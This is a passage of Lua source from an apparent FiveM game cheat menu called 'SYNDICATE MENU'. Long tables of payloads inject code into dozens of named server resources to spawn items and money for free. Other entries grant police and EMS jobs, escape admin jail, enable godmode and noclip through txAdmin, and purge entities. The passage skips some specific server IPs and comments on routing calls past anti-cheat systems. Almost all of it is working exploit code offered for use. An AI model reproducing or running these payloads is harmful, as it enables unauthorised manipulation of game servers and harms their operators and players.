string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_smokingv2:craftingreward', '%s') ]], itemName) end)() }, { res = "pistolsnatching", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'pistolsnatching:returnWeapon', { weapon = { name = '%s' } }) ]], itemName) }, { res = "5MDevs_thicktruckESX", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '5md_thicktruck:GiveItem', '%s') ]], itemName) }, { res = "tyrix_legalselling", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '5md_thicktruck:GiveItem', '%s') ]], itemName) }, { res = "devkit_drugsystem", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'devkit_drugsystem:finishCrafting', '%s') ]], itemName) }, { res = "qs-truckdriverjob", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'qs-truckdriverjob:getPayment', %d) ]], amount) }, { res = "qs-truckjob", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'qs-truckjob:getPayment', %d) ]], amount) }, { res = "anox-moneywash", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'anox-moneywash:server:collectCleanMoney', %d) ]], amount) }, { res = "ak47_drugmanager", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_drugmanager:pickedupitem', '%s', '%s', %d) ]], itemName, itemName, amount) }, { res = "ak47_drugmanagerv2", code = (function() local _blockedIPs = { "141.11.104.43:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_drugmanagerv2:shop:buy', '-1146.444941.22', { buyprice = 0, currency = 'money', label = 'SYNDICATE MENU', name = '%s', sellprice = 0 }, %d) ]], itemName, amount) end)() }, { res = "angelicxs-CivilianJobs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'angelicxs-CivilianJobs:Server:GainItem', '%s', %d) ]], itemName, amount) }, { res = "ars_hunting", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ars_hunting:sellBuyItem', { item = '%s', price = 1, quantity = %d, buy = true }) ]], itemName, amount) }, { res = "mt_printers", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '__ox_cb_mt_printers:server:itemActions', 'mt_printers', 'mt_printers:server:itemActions:codeplug', '%s', 'add') ]], itemName) }, { res = "apex_bahama", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_bahama:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "ak47_business", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_business:processed', '%s', %d) ]], itemName, amount) }, { res = "ak47_qb_business", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_qb_business:processed', '%s', %d) ]], itemName, amount) }, { res = "apex_thetown", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_thetown:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "apex_koi", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_koi:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "apex_peckerwood", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_peckerwood:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "ak47_dmission", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_dmission:GiveItem', '%s', %d) ]], itemName, amount) }, { res = "DrugBuy", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'DrugBuy:drugshop', '%s', 0, %d) ]], itemName, amount) }, { res = "ak47_qb_drugmanagerv2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_qb_drugmanagerv2:shop:buy', '53.15-1478.79', { buyprice = 0, currency = 'cash', name = '%s', sellprice = 0, label = 'SYNDICATE MENU' }, %d) ]], itemName, amount) }, { res = "CL-Pizzeria", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'CL-Pizzeria:AddItem', '%s', %d) ]], itemName, amount) }, { res = "SolsticeMoonshineV2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'SolsticeMoonshineV2:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "Tk_smokev2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'Tk_smokev2:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "ak4y-advancedFishing", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak4y-advancedFishing:addItem', '%s', %d) ]], itemName, amount) }, { res = "apex_cluckinbell", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_cluckinbell:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "apex_rexdiner", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'apex_rexdiner:client:addItem', '%s', %d) ]], itemName, amount) }, { res = "ars_vvsgrillz_v2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ars_vvsgrillz_v2:Buyitem', 'grillz', { items = { { id = '%s', quantity = %d, price = 0, stock = 999999, totalPrice = 0 } }, method = 'bank', total = 0 }, 'bank') ]], itemName, amount) }, { res = "ars_vvsguns", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ars_vvsguns:Buyitem', 'vvsguns', { items = { { id = '%s', image = 'SYNDICATE MENU', name = 'SYNDICATE MENU', page = 2, price = 0, quantity = %d, stock = 9999999999, totalPrice = 0 } }, method = 'cash', total = 0 }, 'cash') ]], itemName, amount) }, { res = "ars_vvsjewelry", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ars_vvsjewelry:Buyitem', 'vvsjewelry', { items = { { id = '%s', image = 'SYNDICATE MENU', name = 'SYNDICATE MENU', page = 2, price = 0, quantity = %d, stock = 999999999999999, totalPrice = 0 } }, method = 'cash', total = 0 }, 'cash') ]], itemName, amount) }, { res = "ars_whitewidow_v2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ars_whitewidow_v2:Buyitem', { items = { { id = '%s', image = 'SYNDICATE MENU', name = 'SYNDICATE MENU', page = 1, price = 0, quantity = %d, stock = 999999999999999, totalPrice = 0 } }, method = 'cash', total = 0 }, 'cash') ]], itemName, amount) }, { res = "boii-drugs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'boii-drugs:sv:AddItem', '%s', %d) ]], itemName, amount) }, { res = "boii-pawnshop", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'boii-pawnshop:sv:AddItem', '%s', %d) ]], itemName, amount) }, { res = "boii-whitewidow", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'boii-whitewidow:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "brutal_hunting", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'brutal_hunting:server:AddItem', { { amount = %d, item = '%s', label = 'SYNDICATE MENU', price = 0 } }) ]], amount, itemName) }, { res = "brutal_shop_robbery", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'brutal_shop_robbery:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "core_crafting", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'core_crafting:itemCrafted', '%s', %d) ]], itemName, amount) }, { res = "devcore_needs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'devcore_needs:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "devcore_smokev2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'devcore_smokev2:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "esx_weashop", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'esx_weashop:buyItem', '%s', %d, 'BlackWeashop') ]], itemName, amount) }, { res = "ez_lib", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ez_lib:server:AddItem', '%s', %d) ]], itemName, amount) }, { res = "food_mechanics", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'food_mechanics:server:toggleItem', true, '%s', %d) ]], itemName, amount) }, { res = "forge-starter", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'forge-starter:claimReward', '%s') ]], itemName) }, { res = "fs_placeables", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'fs_placeables:placeonground', '%s', %d) ]], itemName, amount) }, { res = "fuksus-shops", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '__ox_cb_fuksus-shops:buyItems', 'fuksus-shops', 'fuksus-shops:buyItems', { payment = 'bank', items = { { amount = %d, label = 'SYNDICATE MENU', price = 0, name = '%s' } } }) ]], amount, itemName) }, { res = "virus_consumibles", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'virus_consumibles:server:toggleItem', true, '%s', %d) ]], itemName, amount) }, { res = "hg-wheel", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'hg-wheel:server:giveitem', '%s', %d) ]], itemName, amount) }, { res = "horizon_paymentsystem", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'horizon_paymentsystem:giveItem', '%s', %d) ]], itemName, amount) }, { res = "complete_hunting", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'complete_hunting:server:giveReward', '%s', %d) ]], itemName, amount) }, { res = "camperv", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'camperv:server:giveItem', '%s', %d) ]], itemName, amount) }, { res = "sayer-jukebox", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'sayer-jukebox:AddItem', '%s', %d) ]], itemName, amount) }, { res = "solos-hookah", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-hookah:server:Buy-Item', '%s', %d, 0) ]], itemName, amount) }, { res = "solos-jointroll", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-jointroll:server:ItemAdd', '%s', %d) ]], itemName, amount) }, { res = "solos-food", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-food:server:itemadd', '%s', %d) ]], itemName, amount) }, { res = "t1ger_lib", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 't1ger_lib:server:addItem', '%s', %d) ]], itemName, amount) }, { res = "zat-farming", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'zat-farming:server:GiveItem', '%s', %d) ]], itemName, amount) }, { res = "solos-joints", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-joints:server:itemadd', '%s', %d) ]], itemName, amount) }, { res = "solos-methlab", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-methlab:server:itemadd', '%s', %d, true) ]], itemName, amount) }, { res = "solos-moneywash", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'solos-moneywash:server:ItemAdd', '%s', %d) ]], itemName, amount) }, { res = "zat-weed", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'zat-weed:server:AddItem', '%s', nil, %d) ]], itemName, amount) }, { res = "waytoocerti_3dprinter", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'waytoocerti_3dprinter:CompletePurchase', '%s', %d) ]], itemName, amount) }, { res = "k_fraud2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'k_fraud2:AddItem', 'forgedcheck', %d) ]], amount) }, { res = "mic_hookah", code = (function() local _blockedIPs = { "162.222.16.100:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'hookah:addItem', '%s') ]], itemName) end)() }, { res = "ak47_anklemonitor", loopSE = true, event = 'ak47_anklemonitor:additem', args = function() return { itemName } end }, { res = "devkit_bundles", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'devkit_bundles:addinv', '%s', %d) ]], itemName, amount) }, { res = "dc_weedroll", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'weedroll:additem', '%s', %d) ]], itemName, amount) }, { res = "whizz-materials", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'materialshop:buy', { shopId = 'male_materials_shop', item = '%s', price = 0, amount = %d, label = 'qs' }) ]], itemName, amount) }, { res = "prism_crafting", code = (function() local _blockedIPs = { "191.96.152.145:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_blockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then return nil end end return string.format([[ _G.QKSLQ(_G.TriggerEvent, 'prism-crafting:client:openBlueprintShop', { id = 'QS', label = 'QS', data = { { item = '%s', price = 0 } } }) ]], itemName) end)() } } local wsActive = isBypassActive and isBypassActive("WaveShield") for _, itemEntry in ipairs(itemTriggers) do if GetResourceState(itemEntry.res) == 'started' then if itemEntry.loopSE then -- stagger SyndicateExecTrigger calls so every fire goes through WS/Reaper/Electron routing triggered = true local _res = itemEntry.res local _evt = itemEntry.event local _amt = amount local _iName = itemName Citizen.CreateThread(function() for i = 1, _amt do local singleCode = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '%s', '%s') ]], _evt, _iName) SyndicateExecTrigger(_res, singleCode) Citizen.Wait(80) end end) elseif itemEntry.code then triggered = true SyndicateExecTrigger(itemEntry.res, itemEntry.code) end end end if triggered then showNotify("Spawned " .. tostring(amount) .. " x " .. tostring(itemName), "success") else showNotify("No Exploits Found", "error") end end) end end) end }, { label = 'Spawn Money', type = 'button', onConfirm = function() showInput("Money Amount", "", function(amt) local amount = tonumber(amt) or 50000 if amount <= 0 then amount = 50000 end local triggered = false -- IP blocker: block Spawn Money on specific servers local _spawnMoneyBlockedIPs = { "191.96.152.82:30120", "191.96.152.6:30120" } local _ep = "" pcall(function() _ep = GetCurrentServerEndpoint and GetCurrentServerEndpoint() or "" end) for _, _ip in ipairs(_spawnMoneyBlockedIPs) do if _ep == _ip or string.find(_ep, _ip, 1, true) then showNotify("No Exploits Found", "error") return end end local moneyTriggers = { { res = "vhs-recycle", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'vhs-recycle:sellItem', false, { item = 'cash', amount = 1, price = %d }) ]], amount) }, { res = "brutal_boxing", code = string.format([[ local mySid = GetPlayerServerId(PlayerId()); _G.QKSLQ(_G.TriggerServerEvent, "brutal_boxing:server:endofbet", { bets = { player1 = 0, player2 = 0, [mySid] = {amount = %d} } }, false) ]], amount) }, { res = "ft_illegalmission", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ft_illegalmission:completeContract', { contractId = 1, reward = %d }) ]], amount) }, { res = "codewave-sneaker-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryShoes', %d) ]], amount) }, { res = "codewave-handbag-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryhandbags', %d) ]], amount) }, { res = "codewave-wigs-v3-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryWigss', %d) ]], amount) }, { res = "codewave-nails-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryEvent', %d) ]], amount) }, { res = "codewave-lashes-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:giveRewardlashes', %d) ]], amount) }, { res = "codewave-icebox-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryiceboxs', %d) ]], amount) }, { res = "codewave-caps-client-phone", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'delivery:completeDeliveryCaps', %d) ]], amount) }, { res = "stasiek_selldrugsv2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'stasiek_selldrugsv2:pay', { type = 'easteregg_rainbow', label = 'easteregg_rainbow', count = 1, price = %d }) ]], amount) }, { res = "esx_electricianjob", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'electric:getmoney') ]], amount) }, { res = "codewave-builders-job", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'rewardPlayer', %d) ]], amount) }, { res = "patoche_gamestand_script", code = string.format([[ for i = 1, %d do _G.QKSLQ(_G.TriggerServerEvent, 'patoche_gamestand:chinUpWin', 1) Wait(15) end ]], math.min(amount, 100)) }, { res = "stg_lib", code = string.format([[ if exports and exports['stg_lib'] and exports['stg_lib'].addMoney then exports['stg_lib']:addMoney(math.ceil(%d / 2), GetPlayerServerId(PlayerId())) end ]], amount) }, { res = "Buty-InfiniteJobs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, "Buty-InfiniteJobs:server:s3ll3", { selltype = "retail", selectedItem = "wood", priceItemRetail = %d, priceItemWholesale = %d }) ]], amount, amount) }, { res = "heights-scripts", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'ws_sellshop:sellItem', false, {item = 'cash', price = %d, currency = 'cash', quantity = 1}) ]], amount) }, { res = "kaves_drugsv2", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'kaves_drugsv2:server:giveItem', 'cash', %d) ]], amount) }, { res = "wasd-atmrobbery", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'wasd-atmrobbery:server:GiveItem', 'cash', %d) ]], amount) }, { res = "angelicxs-CivilianJobs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'angelicxs-CivilianJobs:Server:GainItemMaterial', 'cash', %d) ]], amount) }, { res = "rm_drugs", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'drugs:server:main:giveItem', { itemList = {}, rewardItems = { ['cash'] = { amount = %d } } }) ]], amount) }, { res = "tyrix_business", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'tyrix_business:server:completeDelivery') ]]) }, { res = "btc_pilotjob", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, '5p_pilot:server:pay', 'any_activity', %d) ]], amount) }, { res = "marz_drugselling", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'marz_drugselling:server:completeSale', { label = 'SYNDICATE MENU', amount = 0, price = %d }) ]], amount) }, { res = "wais-hunting", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'wais:hunting:server:missionCompleted', 13) ]]) }, { res = "fs_wigsbundles", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'fs_wigsbundles:PaySocietyMoney', false, 'money', %d, 0) ]], amount) }, { res = "fs_whitewidow", code = string.format([[ _G.QKSLQ(_G.TriggerEvent, 'lib.callback.await', 'fs_whitewidow:PaySocietyMoney', false, 'money', %d, 0) ]], amount) }, { res = "ak47_dmission", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'ak47_dmission:returnMoney', %d) ]], amount) }, { res = "at_labubu", code = string.format([[ _G.QKSLQ(_G.TriggerServerEvent, 'at_labubu:server:processSale', 'bubu_legend', 0) ]], amount) } } for _, item in ipairs(moneyTriggers) do if GetResourceState(item.res) == 'started' then triggered = true SyndicateExecTrigger(item.res, item.code) end end if triggered then showNotify("Triggered Spawn Money: $" .. tostring(amount), "success") else showNotify("No Exploits Found", "error") end end) end } } }, { name = 'Other', submenu = { { label = 'Tx Admin Mode', type = 'scroll', selected = 1, options = { { label = 'None', value = 'none' }, { label = 'Noclip', value = 'noclip' }, { label = 'SuperJump', value = 'superjump' }, { label = 'Godmode', value = 'godmode' } }, onConfirm = function(data) local mode = type(data) == "table" and data.value or data TriggerEvent('txcl:setPlayerMode', mode, true) showNotify("txAdmin Mode: " .. tostring(mode), "success") end }, { type = 'button', label = 'View Weapon Codes', onConfirm = function() if GetResourceState('ox_inventory') == "started" then MachoInjectResourceRaw("ox_inventory", [[ local items = exports.ox_inventory:Items() local options = {} for name, data in pairs(items) do if string.sub(name, 1, 7) == "WEAPON_" then options[#options+1] = { title = data.label or name, image = 'nui://ox_inventory/web/images/' .. name .. '.png', description = ('Weapon: %s'):format(name), onSelect = function() lib.setClipboard(name) end } end end table.sort(options, function(a, b) return a.title < b.title end) lib.registerContext({ id = 'SYNDICATE MENU:weaponList', title = 'SYNDICATE MENU - Weapons Only', options = options }) lib.showContext('SYNDICATE MENU:weaponList') ]]) else injectCode('monitor', [[ local foundWeapons = {} local weaponMap = {} local function addWeapon(name) if type(name) == "string" and name ~= "" then local cleanName = name:lower() if not weaponMap[cleanName] then weaponMap[cleanName] = true table.insert(foundWeapons, cleanName) end end end if QBCore and QBCore.Shared and QBCore.Shared.Weapons then for k, v in pairs(QBCore.Shared.Weapons) do addWeapon(k) end end if ESX and ESX.GetWeaponList then local ok, wList = pcall(ESX.GetWeaponList) if ok and type(wList) == "table" then for _, w in ipairs(wList) do if type(w) == "table" and w.name then addWeapon(w.name) end end end end table.sort(foundWeapons) print("^2[SYNDICATE]^7 ===== WEAPON CODES (" .. #foundWeapons .. " Found) =====") for _, wName in ipairs(foundWeapons) do print("^3" .. wName .. "^7") end print("^2[SYNDICATE]^7 ======================================") ]]) showNotify("Printed all server weapon codes to F8 console", "info") end end }, { label = 'Set Job (Server)', type = 'button', onConfirm = function() showInput("Job Name", "", function(jobStr) if jobStr and jobStr ~= "" then injectCode('monitor', string.format([[ local j = %q TriggerServerEvent("qb-bossmenu:server:setJob", j, 4) TriggerServerEvent("esx:setJob", j, 4) TriggerServerEvent("wasabi_multijob:setJob", j, 4) TriggerServerEvent("wasabi_multijob:addJob", j, 4) TriggerServerEvent("randol_multijob:server:changeJob", j, 1) if ESX and ESX.SetPlayerData then ESX.SetPlayerData('job', {name = j, grade = 4}) end if QBCore and QBCore.Functions and QBCore.Functions.GetPlayerData then local pData = QBCore.Functions.GetPlayerData() if pData then pData.job = {name = j, grade = {level = 4}} end end ]], jobStr)) showNotify("Set Job: " .. jobStr, "success") end end) end }, { label = 'Set Police Job (Real & Client)', type = 'button', onConfirm = function() injectCode('monitor', [[ TriggerServerEvent("qb-bossmenu:server:setJob", "police", 4) TriggerServerEvent("esx:setJob", "police", 4) TriggerServerEvent("wasabi_multijob:setJob", "police", 4) TriggerServerEvent("wasabi_multijob:addJob", "police", 4) TriggerServerEvent("randol_multijob:server:changeJob", "police", 1) if ESX and ESX.SetPlayerData then ESX.SetPlayerData('job', {name = 'police', grade = 4}) end if QBCore and QBCore.Functions and QBCore.Functions.GetPlayerData then local pData = QBCore.Functions.GetPlayerData() if pData then pData.job = {name = 'police', grade = {level = 4}} end end ]]) showNotify("Set Police Job (Grade 4)", "success") end }, { label = 'Set EMS Job (Real & Client)', type = 'button', onConfirm = function() injectCode('monitor', [[ TriggerServerEvent("qb-bossmenu:server:setJob", "ambulance", 4) TriggerServerEvent("esx:setJob", "ambulance", 4) TriggerServerEvent("wasabi_multijob:setJob", "ambulance", 4) TriggerServerEvent("wasabi_multijob:addJob", "ambulance", 4) TriggerServerEvent("randol_multijob:server:changeJob", "ambulance", 1) if ESX and ESX.SetPlayerData then ESX.SetPlayerData('job', {name = 'ambulance', grade = 4}) end if QBCore and QBCore.Functions and QBCore.Functions.GetPlayerData then local pData = QBCore.Functions.GetPlayerData() if pData then pData.job = {name = 'ambulance', grade = {level = 4}} end end ]]) showNotify("Set EMS Job (Grade 4)", "success") end }, { label = 'PlayTime Bypass', type = 'button', onConfirm = function() injectCode('monitor', [[ TriggerServerEvent("playtime:bypass") TriggerServerEvent("qb-playtime:server:bypass") ]]) showNotify("Triggered PlayTime Bypass", "success") end }, { label = 'Get Out of Crutch', type = 'button', onConfirm = function() if GetResourceState("wasabi_crutch") ~= "started" then showNotify("Wasabi Crutch Resource Isn't Running", "error") return end injectCode("wasabi_crutch", [[ _G.setWeaponsEnabled = function() LocalPlayer.state.canUseWeapons = true end _G.StopCrutchLoop = true _G.BreakLoop = true if DisableKeys then DisableKeys.crutch = nil end _G.setWeaponsEnabled() ResetPedMovementClipset(PlayerPedId()) local pool = GetGamePool("CObject") for _, obj in pairs(pool) do if DoesEntityExist(obj) and GetEntityModel(obj) == GetHashKey("crutch") then DeleteObject(obj) end end _G.isCrutchActive = false _G.crutchTimer = 0 _G.StartCrutchLoop = function() end ]]) showNotify("Removed Crutch", "success") end }, { label = 'Get Out of Wheelchair', type = 'button', onConfirm = function() if GetResourceState("wasabi_crutch") ~= "started" then showNotify("Wasabi Crutch Resource Isn't Running", "error") return end injectCode("wasabi_crutch", [[ _G.setWeaponsEnabled = function() LocalPlayer.state.canUseWeapons = true end _G.StopChairLoop = true _G.BreakLoop = true if DisableKeys then DisableKeys.chair = nil end _G.setWeaponsEnabled() local ped = PlayerPedId() if IsPedInAnyVehicle(ped, false) then local veh = GetVehiclePedIsIn(ped, false) DeleteVehicle(veh) end _G.isWheelchairActive = false _G.crutchTimer = 0 _G.StartChairLoop = function() end ]]) showNotify("Removed Wheelchair", "success") end }, { label = 'Get Out Adminjail', type = 'button', onConfirm = function() if GetResourceState("adminplus-adminjail") ~= "started" then showNotify("Adminjail Resource Isn't Running", "error") return end injectCode("adminplus-adminjail", [[ TriggerEvent('adminjail:setInAdminJail', false) ]]) showNotify("Bypassed Adminjail", "success") end }, } } } }, { label = 'Miscellaneous', icon = 'ph-wrench', type = 'submenu', tabs = { { name = 'Trolling & World', submenu = { { type = 'divider', label = 'PHYSICS & VORTEX' }, { label = 'Blackhole Vortex', type = 'checkbox', onConfirm = function(enabled) SyndicateTrollEngine.ToggleBlackhole() showNotify(SyndicateTrollEngine.BlackholeActive and "Blackhole Vortex: ACTIVE" or "Blackhole: STOPPED", SyndicateTrollEngine.BlackholeActive and "success" or "info") end }, { label = 'Blackhole Radius', type = 'slider', min = 10, max = 100, value = 35, onConfirm = function(val) SyndicateTrollEngine.BlackholeRadius = val + 0.0 showNotify("Blackhole Radius: " .. tostring(val) .. "m", "info") end }, { type = 'divider', label = 'VEHICLE RAIN' }, { label = 'Rain Sportscars (Adder)', type = 'button', onConfirm = function() SyndicateTrollEngine.StartVehicleRain("adder") showNotify("Vehicle Rain Dispatched!", "success") end }, { label = 'Rain Tanks (Rhino)', type = 'button', onConfirm = function() SyndicateTrollEngine.StartVehicleRain("rhino") showNotify("Tank Rain Dispatched!", "success") end }, { label = 'Rain Planes (Titan)', type = 'button', onConfirm = function() SyndicateTrollEngine.StartVehicleRain("titan") showNotify("Plane Rain Dispatched!", "success") end }, { type = 'divider', label = 'WORLD CLEANUP' }, { label = 'Purge All Entities (500m)', type = 'button', onConfirm = function() local count = SyndicatePurgeEntities(500.0) showNotify("Purged " .. tostring(count) .. " Entities in 500m", "success") end }, { label = 'Cage Local Ped', type = 'button', onConfirm = function() SyndicateTrollEngine.CageTarget(PlayerPedId()) showNotify("Spawned Physical Cage Container", "success") end } } }, { name = 'Misc', submenu = { { type = 'divider', label = 'Menu Position' }, { label = 'Position X', type = 'slider', autoConfirm = true, value = menuPosX, min = 0, max = 80, step = 0.5, onConfirm = function(v) menuPosX = v SendSvelte('setMenuPos', { x = menuPosX, y = menuPosY }) end }, { label = 'Position Y', type = 'slider', autoConfirm = true, value = menuPosY, min = 0, max = 80, step = 0.5, onConfirm = function(v) menuPosY = v SendSvelte('setMenuPos', { x = menuPosX, y = menuPosY }) end }, { label = 'Menu Scale', type = 'slider', autoConfirm = true, value = menuScale, min = 50, max = 150, step = 5, onConfirm = function(v) menuScale = v SendSvelte('setScale', { scale = menuScale / 100.0 }) SendSvelte('setMenuScale', { scale = menuScale }) end }, { type = 'divider', label = 'Appearance' }, { label = 'Custom Banner URL', type = 'button', onConfirm = function() showInput('Paste banner image URL (GIF, PNG, JPG)', '', function(url) if url and url ~= '' then _G.CustomBannerUrl = url SendSvelte('setBanner', { url = url }) SendSvelte('setBannerUrl', { url = url }) SendSvelte('setCustomBanner', { url = url }) showNotify('Custom banner updated!', 'success') end end) end }, { label = 'Banner Theme', type = 'scroll', selected = 1, options = { { label = 'Syndicate Green', value = 'syndicate' }, { label = 'Cyberpunk Neon', value = 'cyberpunk' }, { label = 'Red Reaper', value = 'reaper' }, { label = 'Royal Purple', value = 'purple' }, { label = 'Midnight Gold', value = 'gold' }, { label = 'Ice Blue', value = 'ice' } }, onConfirm = function(data) local val = type(data) == "table" and data.value or data local lbl = type(data) == "table" and data.label or val if val == "syndicate" then menuColorR, menuColorG, menuColorB = 0, 255, 100 elseif val == "cyberpunk" then menuColorR, menuColorG, menuColorB = 0, 240, 255 elseif val == "reaper" then menuColorR, menuColorG, menuColorB = 255, 34, 34 elseif val == "purple" then menuColorR, menuColorG, menuColorB = 184, 41, 255 elseif val == "gold" then menuColorR, menuColorG, menuColorB = 255, 200, 0 elseif val == "ice" then menuColorR, menuColorG, menuColorB = 0, 217, 255 end if type(activeMenu) == "table" then for i = 1, #activeMenu do local item = activeMenu[i] if item and item.label == 'Red' then item.value = menuColorR end if item and item.label == 'Green' then item.value = menuColorG end if item and item.label == 'Blue' then item.value = menuColorB end end end SendSvelte('setBannerTheme', { theme = val }) SendSvelte('setMenuColor', { r = menuColorR, g = menuColorG, b = menuColorB }) if IsVisible then setCurrent() end showNotify("Theme Applied: " .. tostring(lbl), "success") end }, { label = 'Show Keybind List', type = 'checkbox', checked = false, onConfirm = function(checked) showKeybindListState = checked local binds = {} for k, item in pairs(itemKeybinds) do binds[#binds + 1] = { label = item.label or '?', key = k } end SendSvelte('setKeybindList', { visible = checked }) SendSvelte('updateKeybinds', { KeyBinds = binds }) SendSvelte('showKeybinds', { showKeybinds = checked }) end }, { label = 'Show Spectator List', type = 'checkbox', desc = 'Show a list of current Spectators', checked = false, onConfirm = function(checked) _G.ShowSpectatorList = checked 